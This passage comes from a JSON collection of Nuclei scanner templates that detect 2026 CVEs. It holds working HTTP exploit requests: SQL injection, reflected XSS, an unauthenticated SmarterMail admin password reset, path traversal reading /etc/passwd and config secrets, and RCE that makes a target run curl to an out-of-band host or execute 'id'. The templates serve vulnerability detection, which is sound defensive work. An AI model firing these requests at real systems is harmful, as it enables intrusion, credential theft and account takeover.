Kamboj\n  severity: high\n  description: |\n    The Ally – Web Accessibility & Usability plugin for WordPress is vulnerable to SQL Injection via the URL path in all versions up to, and including, 4.0.3. This is due to insufficient escaping on the user-supplied URL parameter in the `get_global_remediations()` method, where it is directly concatenated into an SQL JOIN clause without proper sanitization for SQL context. While `esc_url_raw()` is applied for URL safety, it does not prevent SQL metacharacters (single quotes, parentheses) from being injected. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via time-based blind SQL injection techniques. The Remediation module must be active, which requires the plugin to be connected to an Elementor account.\n  impact: |\n    Unauthenticated attackers can extract sensitive database information via blind SQL injection, risking data disclosure.\n  remediation: |\n    Update to a version later than 4.0.3 or the latest available version.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/pojo-accessibility/ally-web-accessibility-usability-403-unauthenticated-sql-injection-via-url-path\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-2413\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-2413\n    epss-score: 0.02383\n    epss-percentile: 0.83954\n  metadata:\n    max-request: 1\n    verified: true\n  tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,pojo-accessibility,unauth,vkev\n\nhttp:\n  - raw:\n      - |\n        @timeout: 30s\n        GET /x'OR(EXP(~(SELECT*FROM(SELECT(SLEEP(8)))a)))OR'/ HTTP/1.1\n        Host: {{Hostname}}\n        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration>=8'\n          - 'status_code==404 || status_code==200'\n          - 'contains(body, \"registerAllyAction\")'\n        condition: and\n# digest: 490a0046304402205b55d986a1b1e45fbf145ac8a77e29ef9d6b6a641258d0de1e820e72bc6ab4cc022016c855792b7214be9813efa6cdb2f1c24a6be4b53f6d00dea4fbf95fc0e98dc3:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-2413.yaml","vuln_id":"cve-2026-2413"},{"raw":"id: CVE-2026-24128\n\ninfo:\n  name: XWiki Platform Distribution Flavor Main - Cross-Site Scripting\n  author: ritikchaddha\n  severity: medium\n  description: |\n    XWiki Platform Distribution Flavor Main versions prior to 17.6.0 are vulnerable to reflected cross-site scripting (XSS) due to improper sanitization of user-supplied input in the extensionId parameter. An attacker can exploit this issue by injecting malicious JavaScript, which will be executed in the context of the victim's browser, potentially leading to session hijacking or other attacks.\n  reference:\n    - https://jira.xwiki.org/browse/XWIKI-23462\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-24128\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-24128\n    epss-score: 0.00551\n    epss-percentile: 0.4621\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: XWiki\n    product: xwiki-platform-distribution-flavor-main\n    shodan-query: html:\"data-xwiki-reference\"\n  tags: cve,cve2026,xwiki,xss\n\nhttp:\n  - raw:\n      - |\n        GET /xwiki/bin/view/XWiki/Main?xpage=distribution&extensionSection=progress&extensionId=org.xwiki.platform%3Axwiki-platform-distribution-flavor-mainwikia7jdh%3Cimg%20src%3Da%20onerror%3Dalert(document.domain)%3Eh5kturc1hk&extensionVersion=17.6.0&extensionNamespace=wiki%3Axwiki&extensionAction=install HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"<img src=a onerror=alert(document.domain)>\"\n          - \"xwiki.extension.job\"\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - text/html\n\n      - type: status\n        status:\n          - 200\n# digest: 490a004630440220302d14f27b8d2fb771e56734988ed3e1f6968ea8f3ece415f415e3263dc716a4022041c026488e0ffd94e64ac90dee8f63a20e83de2627a02e0de36bbf25df092318:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-24128.yaml","vuln_id":"cve-2026-24128"},{"raw":"id: CVE-2026-23760\n\ninfo:\n  name: SmarterTools SmarterMail - Admin Password Reset\n  author: watchTowr,DhiyaneshDk\n  severity: critical\n  description: |\n    Detected a SmartMail admin password reset vulnerability by sending a POST request to the `/api/v1/auth/force-reset-password` endpoint, indicating that administrative password resets could potentially be triggered without proper authorization.\n  impact: |\n    Unauthenticated attackers can reset administrator passwords, leading to full administrative compromise of the system.\n  remediation: |\n    Upgrade to build 9511 or later.\n  reference:\n    - https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"SmarterMail\"\n  tags: cve,cve2026,intrusive,smartmail,admin,auth-bypass,vkev,kev,vuln\n\nvariables:\n  password: \"{{rand_text_alphanumeric(12)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/auth/force-reset-password HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"IsSysAdmin\":\"true\",\n        \"OldPassword\":\"watever\",\n        \"Username\":\"admin\",\n        \"NewPassword\":\"{{password}}\",\n        \"ConfirmPassword\": \"{{password}}\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"success\":true'\n          - 'debugInfo'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"New Password: \" + password'\n# digest: 4b0a004830460221008ca8dc2972b90c7a0a4e70637d962755ce5c8c96aa9cc6b8d3479f2dfa17499b022100aa2bf5a5357ff83f5e4df8bd47d8f410a9cd51a66269c4920b25dbcc56199228:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-23760.yaml","vuln_id":"cve-2026-23760"},{"raw":"id: CVE-2026-23744\n\ninfo:\n  name: MCPJam Inspector - Remote Code Execution\n  author: Louay-075\n  severity: critical\n  description: |\n    MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE.\n  impact: |\n    An unauthenticated attacker can remotely execute arbitrary system commands via the exposed /api/mcp/connect endpoint. Successful exploitation leads to full compromise of the affected host.\n  remediation: |\n    Upgrade MCPJam Inspector to version 1.4.3 or later. Restrict the service to listen on 127.0.0.1.\n  reference:\n    - https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6\n    - https://github.com/advisories/GHSA-232v-j27c-5pp6\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-23744\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-23744\n    epss-score: 0.67516\n    epss-percentile: 0.99313\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: mcpjam\n    product: mcpjam\n  tags: cve,cve2026,rce,mcpjam,oast,ai,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api/mcp/connect HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"serverConfig\":{\"timeout\":10000,\"command\":\"curl\",\"args\":[\"{{interactsh-url}}\"],\"env\":{}},\"serverId\":\"mymcp\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"Connection failed for server\", \"MCP error\")'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains(interactsh_protocol, \"dns\")'\n          - 'status_code == 500'\n        condition: and\n# digest: 4b0a00483046022100d4741c05621c0ca19b5cfec2ed092cbb0281d1175b6e9df332d3af4f5e9fc6ae022100f0e7e24834cef8098e6b4294552ba90d15eae6a7e4066c09fdc6b144050262a4:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-23744.yaml","vuln_id":"cve-2026-23744"},{"raw":"id: CVE-2026-23696\n\ninfo:\n  name: Windmill < 1.603.3 - SQL Injection\n  author: chocapikk,DhiyaneshDk\n  severity: critical\n  description: |\n    Windmill versions 1.276.0 through 1.603.2 contain an authenticated SQL injection vulnerability in the folder owner management endpoint. The addowner API endpoint passes user-supplied input directly into a SQL query without sanitization, enabling JSONB path injection. An authenticated user with operator-level access can extract sensitive data including JWT secrets, password hashes, API tokens, and database credentials, leading to full privilege escalation and remote code execution.\n  impact: |\n    An attacker with any valid Windmill credentials (including operator accounts) can extract the JWT signing secret from the database, forge an admin token, escalate to super admin privileges, and execute arbitrary commands on the server.\n  remediation: |\n    Update Windmill to version 1.603.3 or later which sanitizes the owner input before SQL query construction.\n  reference:\n    - https://github.com/Chocapikk/Windfall\n    - https://github.com/windmill-labs/windmill/commit/942fb629210ebb287f48467d1535ffde3a3eeafe\n    - https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-23696\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.9\n    cve-id: CVE-2026-23696\n    epss-score: 0.13582\n    epss-percentile: 0.96475\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: windmill-labs\n    product: windmill\n  tags: cve,cve2026,windmill,sqli,authenticated\n\nvariables:\n  folder: \"{{to_lower(rand_text_alpha(8))}}\"\n\nflow: |\n  http(\"list-workspaces\") && http(\"create-folder\") && http(\"sqli-inject\") && http(\"read-folder\") && http(\"cleanup\")\n\nhttp:\n  - id: list-workspaces\n    raw:\n      - |\n        GET /api/workspaces/list HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n        Content-Type: application/json\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n    extractors:\n      - type: regex\n        name: workspace\n        part: body\n        group: 1\n        regex:\n          - '\"id\"\\s*:\\s*\"([^\"]+)\"'\n        internal: true\n\n  - id: create-folder\n    raw:\n      - |\n        POST /api/w/{{workspace}}/folders/create HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n        Content-Type: application/json\n\n        {\"name\":\"{{folder}}\"}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Created folder\"\n        internal: true\n\n  - id: sqli-inject\n    raw:\n      - |\n        POST /api/w/{{workspace}}/folders/addowner/{{folder}} HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n        Content-Type: application/json\n\n        {\"owner\":\"x\\\"}',(SELECT to_jsonb(11*11*11)),true)--\"}\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - id: read-folder\n    raw:\n      - |\n        GET /api/w/{{workspace}}/folders/get/{{folder}} HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n        Content-Type: application/json\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"x\":1331'\n\n      - type: status\n        status:\n          - 200\n\n  - id: cleanup\n    raw:\n      - |\n        DELETE /api/w/{{workspace}}/folders/delete/{{folder}} HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n        Content-Type: application/json\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n# digest: 4a0a00473045022100ad815e91f4adb4b32eb721a2d85d475893565766deaba94efedc4fed7569851802205b5ec27de29e6ed5e6ad56ade3055d50809c1e766cabfbbfa496a6be0b95d0d8:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-23696.yaml","vuln_id":"cve-2026-23696"},{"raw":"id: CVE-2026-23693\n\ninfo:\n  name: ElementsKit Lite <3.7.9 - Unauthenticated Mailchimp Proxy\n  author: rahulreddykarne\n  severity: high\n  description: |\n    The ElementsKit Elementor Addons Lite (elementskit-lite) plugin for WordPress before 3.7.9 registers the REST route /wp-json/elementskit/v1/widget/mailchimp/subscribe with no authentication or capability check (CWE-306). The handler accepts client-supplied Mailchimp API credentials and a `list` parameter and issues upstream Mailchimp API requests, letting an unauthenticated attacker use the site as an open proxy to Mailchimp.\n  impact: |\n    Unauthenticated attackers can invoke the Mailchimp integration with no credentials on the site, enabling open-proxy abuse, subscription-data tampering, and Mailchimp API-quota / resource exhaustion.\n  remediation: |\n    Update ElementsKit Lite (elementskit-lite) to 3.7.9 or later, which enforces authentication on the endpoint.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/85025fb9-6e19-4c0f-bf16-4b890ba5f7f5\n    - https://wordpress.org/plugins/elementskit-lite/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-23693\n  classification:\n    cve-id: CVE-2026-23693\n    epss-score: 0.01252\n    epss-percentile: 0.69524\n    cwe-id: CWE-306\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H\n    cvss-score: 10.0\n  metadata:\n    max-request: 1\n    vendor: wpmet\n    product: elementskit-lite\n    framework: wordpress\n    fofa-query: body=\"/wp-content/plugins/elementskit-lite/\"\n  tags: cve,cve2026,wordpress,wp-plugin,elementskit,elementskit-lite,unauth,auth-bypass,mailchimp\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/elementskit-lite/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"compare_versions(version, '<3.7.9')\"\n        internal: true\n\n    extractors:\n      - type: regex\n        part: body\n        name: version\n        group: 1\n        regex:\n          - '(?i)Stable.tag:\\s?([\\w.]+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-json/elementskit/v1/widget/mailchimp/subscribe HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        email=test-{{randstr}}@example.com&list=test-invalid-list&apikey=0000000000000000000000000000000-us1\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n\n      - type: word\n        part: body\n        negative: true\n        condition: or\n        words:\n          - \"rest_forbidden\"\n          - \"rest_cannot_access\"\n          - \"rest_not_logged_in\"\n          - \"rest_no_route\"\n# digest: 4b0a004830460221008a48602d0284c01410a41fcd63d8be5ed2bdf0239dec39b0c11c2bfeaa27bba0022100bffd36ea59e0b24de018853770ead81f8677f39db82e887fd272b417221afe97:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-23693.yaml","vuln_id":"cve-2026-23693"},{"raw":"id: CVE-2026-23550\n\ninfo:\n  name: Modular DS - Broken Access Control\n  author: DhiyaneshDk,l46983284-cpu\n  severity: high\n  description: |\n    Modular DS = 2.5.1 contains a broken access control vulnerability caused by incorrect privilege assignment, letting attackers escalate their privileges, exploit requires no special conditions.\n  impact: |\n    Attackers can escalate their privileges, potentially gaining unauthorized access to sensitive functions or data.\n  remediation: |\n    Update to the latest version beyond 2.5.1.\n  reference:\n    - https://help.modulards.com/en/article/modular-ds-security-release-modular-connector-252-dm3mv0/\n    - https://patchstack.com/database/wordpress/plugin/modular-connector/vulnerability/wordpress-modular-ds-monitor-update-and-backup-multiple-websites-plugin-2-5-1-privilege-escalation-vulnerability\n  metadata:\n    verified: true\n    max-request: 1\n    fofa-query: body=\"/plugins/modular-connector/\"\n  tags: cve,cve2026,wordpress,wp-plugin,wp,auth-bypass,modular-connector,vkev,vuln\n\nvariables:\n  string: \"{{to_lower(rand_text_alpha(5))}}\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/index.php/api/modular-connector/login/{{string}}/?origin=mo&type=foo\"\n      - \"{{BaseURL}}/api/modular-connector/login/{{string}}/?origin=mo&type=foo\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 302\n          - contains(header, \"wordpress_logged_in\")\n        condition: and\n# digest: 4b0a00483046022100e84a3c55e9f481189634fa937ebee30d23a5c7295453b4703ce81eaba422f6e4022100a79558eadad3453b78b81c884c403e1d467f366e9fe77d8503624f9a4772fd42:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-23550.yaml","vuln_id":"cve-2026-23550"},{"raw":"id: CVE-2026-23536\n\ninfo:\n  name: Feast Feature Server <=0.58.0 - Arbitrary File Read\n  author: str4k3r\n  severity: high\n  description: |\n    Feast (the open-source Feature Store) Feature Server through 0.58.0 exposes an unauthenticated POST /read-document endpoint that reads an arbitrary, caller-supplied file path with no authentication and no path validation. The read_document_endpoint handler passes the JSON `file_path` field straight to os.path.exists()/open() and returns the file contents in the JSON `content` field, so a remote, unauthenticated attacker can read any file readable by the server process (e.g. /etc/passwd, feature_store.yaml, cloud credentials). Unlike the store-mutating routes it carries no inject_user_details/permission dependency.\n  reference:\n    - https://access.redhat.com/security/cve/CVE-2026-23536\n    - https://bugzilla.redhat.com/show_bug.cgi?id=2429302\n    - https://github.com/feast-dev/feast\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-23536\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-23536\n    epss-score: 0.02409\n    epss-percentile: 0.84138\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    product: feast\n    vendor: feast-dev\n    shodan-query: http.favicon.hash:493797515\n    fofa-query: icon_hash=\"493797515\"\n  tags: cve,cve2026,feast,lfi,traversal,mlops,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /read-document HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"file_path\":\"/etc/passwd\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"content\":'\n          - '\"file_path\":'\n        condition: and\n\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100d2fe0844b189a2b193d3ab70eeda6f1a91c4928136b27c353ac67e145386cb6d02203242234dd29a902da396b93616d188672c0aebbb766e9858c10278c7fd4eea16:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-23536.yaml","vuln_id":"cve-2026-23536"},{"raw":"id: CVE-2026-23491\n\ninfo:\n  name: InvoicePlane <= 1.6.3 - Arbitrary File Read\n  author: str4k3r\n  severity: high\n  description: |\n    InvoicePlane through 1.6.3 is vulnerable to an unauthenticated path traversal in the guest \"Get::get_file()\" controller. The supplied filename is passed to readfile() after a single urldecode() with no directory-traversal validation, allowing an unauthenticated attacker to read files outside the customer-files upload directory - including the application's own \"ipconfig.php\", which discloses the database credentials and the application ENCRYPTION_KEY. Fixed in 1.6.4 by the validate_file_access() helper.\n  reference:\n    - https://github.com/InvoicePlane/InvoicePlane/security/advisories/GHSA-88gq-mv54-v3fc\n    - https://github.com/InvoicePlane/InvoicePlane/releases/tag/v1.6.4\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-23491\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-23491\n    epss-score: 0.04605\n    epss-percentile: 0.91698\n    cwe-id: CWE-22\n  metadata:\n    max-request: 1\n    verified: true\n    product: invoiceplane\n    vendor: invoiceplane\n    shodan-query: http.html:\"InvoicePlane\"\n    fofa-query: body=\"InvoicePlane\"\n  tags: cve,cve2026,invoiceplane,lfi,traversal\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/index.php/guest/get/get_file/..%2f..%2fipconfig.php\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"SETUP_COMPLETED=\"\n          - \"ENCRYPTION_KEY=\"\n        condition: and\n\n      - type: word\n        part: content_disposition\n        words:\n          - \"attachment\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a00463044022056dc621dabcac97767bd00085c2492ecbf6d26ad819c362325fd45e302437ce50220031a440a96f983ff8e8e8103aed86f44be8c73e7ba350e44047eea5b8478f693:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-23491.yaml","vuln_id":"cve-2026-23491"},{"raw":"id: CVE-2026-23486\n\ninfo:\n  name: Blinko <= 1.8.3 - User Information Leak\n  author: 0x_Akoko\n  severity: low\n  description: |\n    Blinko <= 1.8.4 contains an information disclosure caused by a publicly accessible endpoint exposing user information including usernames, roles, and account creation dates, letting remote attackers access sensitive user data, exploit requires no special privileges.\n  impact: |\n    Remote attackers can access sensitive user information, potentially leading to privacy violations and targeted attacks.\n  remediation: |\n    Update to version 1.8.4 or later.\n  reference:\n    - https://github.com/blinkospace/blinko/security/advisories/GHSA-446p-2xf5-frxf\n    - https://github.com/blinkospace/blinko\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-23486\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cwe-id: CWE-200\n    cve-id: CVE-2026-23486\n    epss-score: 0.00711\n    epss-percentile: 0.53692\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: blinkospace\n    product: blinko\n    fofa-query: title=\"Blinko\"\n    shodan-query: http.title:\"Blinko\"\n  tags: cve,cve2026,blinko,exposure,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"<title>Blinko</title>\", \"Blinko self-hosted personal note\")'\n        condition: and\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/v1/user/public-user-list\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"\\\"name\\\":\", \"\\\"role\\\":\")'\n        condition: and\n# digest: 4b0a00483046022100be7d13f14811a85e087deeb26b92bc55c571d9ca1454f53dd17e5a01e8251802022100f6e4b1d44c29a0d49e8c3a57fa6e32a27e87401de9666f4889849e1d1b748cb7:922c64590222798bb761d5b6d8e72950","severity":"low","template_path":"http/cves/2026/CVE-2026-23486.yaml","vuln_id":"cve-2026-23486"},{"raw":"id: CVE-2026-23483\n\ninfo:\n  name: Blinko <= 1.8.3 - Path Traversal via /plugins\n  author: tx1ee\n  severity: medium\n  description: |\n    Blinko <= 1.8.3 contains a path traversal caused by improper path concatenation without verification in the plugin file server endpoint, letting remote attackers access arbitrary files, exploit requires network access.\n  impact: |\n    Remote attackers can access arbitrary files outside the intended directory, potentially exposing sensitive data.\n  remediation: |\n    Update to the latest version once available.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-23483\n    - https://github.com/blinkospace/blinko/security/advisories/GHSA-54c7-9gxh-fg9v\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-23483\n    epss-score: 0.00771\n    epss-percentile: 0.55785\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: blinko-space\n    product: blinko\n    fofa-query: icon_hash=\"-1446811182\" || icon_hash=\"-717082057\"\n  tags: cve,cve2026,blinko,blinko-space,lfi,path-traversal,unauth,arbitrary-file-read\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/plugins/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402203f14ed85ced268304b17ae11ebdeec1aa87c462b25d3faa3c26544052d90576802201d874dd0f5bbc8bbafead1dd8a2583822eb09032839226cc4abd340d1c30ecc7:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-23483.yaml","vuln_id":"cve-2026-23483"},{"raw":"id: CVE-2026-23482\n\ninfo:\n  name: Blinko < 1.8.4 - Path Traversal\n  author: tx1ee\n  severity: high\n  description: |\n    Blinko < 1.8.4 contains a path traversal vulnerability caused by lack of permission checks and filtering on the temp/ path in the file server endpoint, letting unauthorized attackers read arbitrary files including backup files with user notes and tokens, exploit requires no special privileges.\n  impact: |\n    Unauthorized attackers can read arbitrary files, including sensitive user notes and tokens, leading to information disclosure.\n  remediation: |\n    Update to version 1.8.4 or later\n  reference:\n    - https://github.com/blinkospace/blinko/commit/c48851090767feba431418630c495d90a7da1781\n    - https://github.com/blinkospace/blinko/security/advisories/GHSA-hrwx-rhrx-f9mm\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-23482\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-23482\n    cwe-id: CWE-22\n    epss-score: 0.01523\n    epss-percentile: 0.74703\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: blinko-space\n    product: blinko\n    fofa-query: icon_hash=\"-1446811182\" || icon_hash=\"-717082057\"\n  tags: cve,cve2026,blinko,blinko-space,lfi,traversal\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/manifest.webmanifest\"\n      - \"{{BaseURL}}/manifest.json\"\n\n    stop-at-first-match: true\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Blinko\"\n        case-insensitive: true\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/file/temp/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100bfe64768226896b430b58b1514c1f42ed3623b84a9c06ea6885f73166233f368022061202c999b0e29111ea9dfb196c9832df1a5c238d0e61623adc5946f9b63d193:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-23482.yaml","vuln_id":"cve-2026-23482"},{"raw":"id: CVE-2026-22812\n\ninfo:\n  name: OpenCode < 1.0.216 - Unauthenticated Remote Code Execution\n  author: princechaddha\n  severity: high\n  description: |\n    OpenCode versions prior to 1.0.216 contain an unauthenticated remote code execution vulnerability. The application exposes session and shell execution endpoints without proper authentication, allowing remote attackers to create sessions and execute arbitrary shell commands on the underlying server.\n  impact: |\n    Unauthenticated attackers can execute arbitrary commands on the server, potentially leading to full system compromise.\n  remediation: |\n    Upgrade OpenCode to version 1.0.216 or later.\n  reference:\n    - https://github.com/rohmatariow/CVE-2026-22812-exploit\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-22812\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2026-22812\n    epss-score: 0.16538\n    epss-percentile: 0.97014\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: opencode\n    product: opencode\n    shodan-query: http.html:\"opencode\"\n  tags: cve,cve2026,opencode,rce,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /session HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n    extractors:\n      - type: json\n        name: session_id\n        json:\n          - '.id'\n        internal: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains(body, \"id\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /session/{{session_id}}/shell HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"agent\":\"build\",\"command\":\"id\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 201 || status_code == 202'\n          - 'regex(\"uid=\\\\d+\\\\([^)]+\\\\) gid=\\\\d+\\\\([^)]+\\\\)\", body)'\n        condition: and\n\n    extractors:\n      - type: regex\n        regex:\n          - 'uid=\\d+\\([^)]+\\) gid=\\d+\\([^)]+\\)'\n# digest: 490a0046304402200444fdb93e785fca336da542b21bd317b5e1b41267a4ba1b8d1f74c457e40bbf02201d9e3a5ff5aff6d0e741539de421bef37c3e34e83b14868f99629b213d1c435c:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-22812.yaml","vuln_id":"cve-2026-22812"},{"raw":"id: CVE-2026-22778\n\ninfo:\n  name: vLLM 0.8.3 - 0.14.0 - Information Disclosure\n  author: kenlacroix\n  severity: critical\n  description: |\n    vLLM 0.8.3 to - 0.14.1 contains an information disclosure caused by leaking a heap address in error messages from the multimodal endpoint when processing invalid images, letting remote attackers reduce ASLR entropy, exploit requires sending invalid images.\n  impact: |\n    Remote attackers can leak heap addresses, significantly reducing ASLR effectiveness and enabling further exploitation like remote code execution.\n  remediation: |\n    Upgrade to version 0.14.1 or later.\n  reference:\n    - https://github.com/vllm-project/vllm/security/advisories/GHSA-4r2x-xpjr-7cvv\n    - https://orca.security/resources/blog/cve-2026-22778-vllm-rce-vulnerability/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-22778\n  classification:\n    cvss-metrics: 